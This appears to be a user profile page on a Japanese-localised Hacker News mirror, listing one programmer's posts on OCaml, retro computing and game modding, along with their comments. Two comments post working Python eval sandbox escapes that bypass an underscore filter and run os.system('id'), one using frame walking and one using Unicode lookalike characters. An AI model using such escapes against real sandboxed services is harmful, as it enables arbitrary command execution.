HackerTrans
トップ新着トレンドコメント過去質問紹介求人

farlow

no profile record

投稿

Running a Minecraft Server and More on a 1960s Univac Computer

farlow.dev
4 ポイント·投稿者 farlow·3 か月前·0 コメント

An Analysis of Poptropica's Mancala

farlow.dev
4 ポイント·投稿者 farlow·5 か月前·0 コメント

[untitled]

1 ポイント·投稿者 farlow·7 か月前·0 コメント

[untitled]

1 ポイント·投稿者 farlow·11 か月前·0 コメント

Encoding SAT in OCaml GADTs

farlow.dev
4 ポイント·投稿者 farlow·12 か月前·0 コメント

Compiling OCaml to the TI-84 CE Calculator

farlow.dev
110 ポイント·投稿者 farlow·昨年·5 コメント

Speedrunning and Modding the Incredibles: Rise of the Underminer

farlow.dev
78 ポイント·投稿者 farlow·昨年·7 コメント

コメント

farlow
·4 か月前·議論
You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
farlow
·4 か月前·議論
You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
farlow
·昨年·議論
Neat, thanks for sharing!
farlow
·昨年·議論
The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump to one of our C functions. Then we jump back to continue the render function when we're done.

The C code can do anything at this point. The remaining work is to crawl through Ghidra to find interesting addresses to read/write to and useful functions to call to affect the game engine. That entails some combination of reading through function and variable names, setting breakpoints in the Dolphin debugger to check values, and writing the mod code and testing if it does what I expect.